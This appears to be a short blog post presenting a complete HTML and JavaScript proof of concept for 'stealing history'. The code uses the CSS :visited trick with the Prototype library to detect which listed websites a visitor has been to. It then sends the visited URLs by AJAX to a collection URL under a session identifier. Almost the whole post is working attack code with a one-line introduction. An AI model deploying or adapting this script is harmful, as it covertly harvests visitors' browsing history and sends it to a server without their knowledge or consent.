Stealing History (Part 2)
Cody Swann has a modified version of the exploit using prototype that works in IE and has support for AJAX requests:
<html>
<head>
<script type="text/javascript" src="http://script.aculo.us/prototype.js"></script>
</head>
<body>
Have you been to these sites?
<script type="text/javascript">
Snoop = Class.create();
Snoop.prototype = {
initialize: function(options)
{
this.options = Object.extend({
writeStyle: true,
linkObjArray: null, //AN ARRAY OF JSON FORMATTED LINK OBJ IN THE FORM OF {link:'http://...',text:'nameOfSite'} THAT WILL BE CHECKED
identifier: '', //IF SAVING THE DATA, THIS IS WHAT YOU WOULD LIKE TO USE TO IDENFIFY THE SESSON
saveURL: null, //URL TO SEND THE DATA TO
method: 'get', //METHOD USED IN AJAX SAVE
transport: null, //TRANSPORT USED TO SEND SAVED DATA (XMLHTTPRequest by default)
onComplete: function(visitedLinks)///FUNCTION CALLED AFTER PARSING LINKS
{
var dummy = document.createElement('ul');
visitedLinks.each(
function(linkObj)
{
var text = document.createTextNode(linkObj.text);
var node = document.createElement('a');
var li = document.createElement('li');
node.appendChild(text);
node.setAttribute('href',linkObj.link);
li.appendChild(node);
dummy.appendChild(li);
}
);
document.body.appendChild(dummy);
},
onSaveComplete: function(){},///CALLBACK FOR AJAX FUNCTION ON SUCCESS
onSaveError: function(){}///CALLBACK FOR AJAX FUNCTION ON FAILURE
}, options || {});
this._visitedLinks = [];
if(this.options.writeStyle)
{
document.write('<style type="text/css">a.testerLink:visited{display:block;height:1px;}</style>');
}
this.collectVisitedLinks();
this.finish();
},
collectVisitedLinks: function()
{
var dummy = document.createElement('div');
dummy.id = 'visitTestDiv';
Element.setStyle(dummy,{visibility:'hidden',height:'1px',lineHeight:'1px'});
document.body.appendChild(dummy);
var linkObjs = this.options.linkObjArray || [{link:'http://new.com/',text:'new'},{link:'http://new.2com/',text:'new2'},{link:'http://google.com/',text:'Google.com'},{link:'http://espn.go.com/',text:'ESPN.com'},{link:'http://script.aculo.us/',text:'Scriptaculous'},{link:'http://digg.com/',text:'Digg'},{link:'http://blog.slimc.com/',text:'Slimc.com'},{link:'http://www.cnn.com/',text:'CNN.com'},{link:'http://www.yahoo.com/',text:'Yahoo!'},{link:'http://myspace.com',text:'MySpace'},{link:'http://www.ebay.com/',text:'ebay'},{link:'http://wikipedia.org/',text:'Wikipedia'},{link:'http://amazon.com/',text:'Amazon.com'},{link:'http://sfbay.craigslist.org/',text:"Craig's List"}];
linkObjs.each(
function(linkObj,count)
{
var text = document.createTextNode(linkObj.text);
var node = document.createElement('a');
node.setAttribute('href',linkObj.link);
Element.addClassName(node,'testerLink');
dummy.appendChild(node);
if(parseInt(Element.getHeight(node)) != 0)
{
this._visitedLinks.push(linkObj);
}
Element.remove(node);
}.bind(this)
);
Element.remove(dummy);
},
finish: function()
{
if(this.options.saveURL)
{
var urls = this._visitedLinks.collect(function(link){ return link.link; });
urls = urls.join(',');
urls = escape(urls.replace(/,$/,''));
urls = urls.replace(/%2C/,',');
new Ajax.Request(this.options.saveURL,{
transport: this.options.transport,
method: this.options.method,
parameters: 'id=' + this.options.identifier + '&urls=' + urls,
onSuccess: this.options.onSaveComplete,
onFailure: this.options.onSaveError
});
}
this.options.onComplete(this._visitedLinks);
}
};
new Snoop({saveURL:'/right/here'});
</script>
</body>
</html>
[1] http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/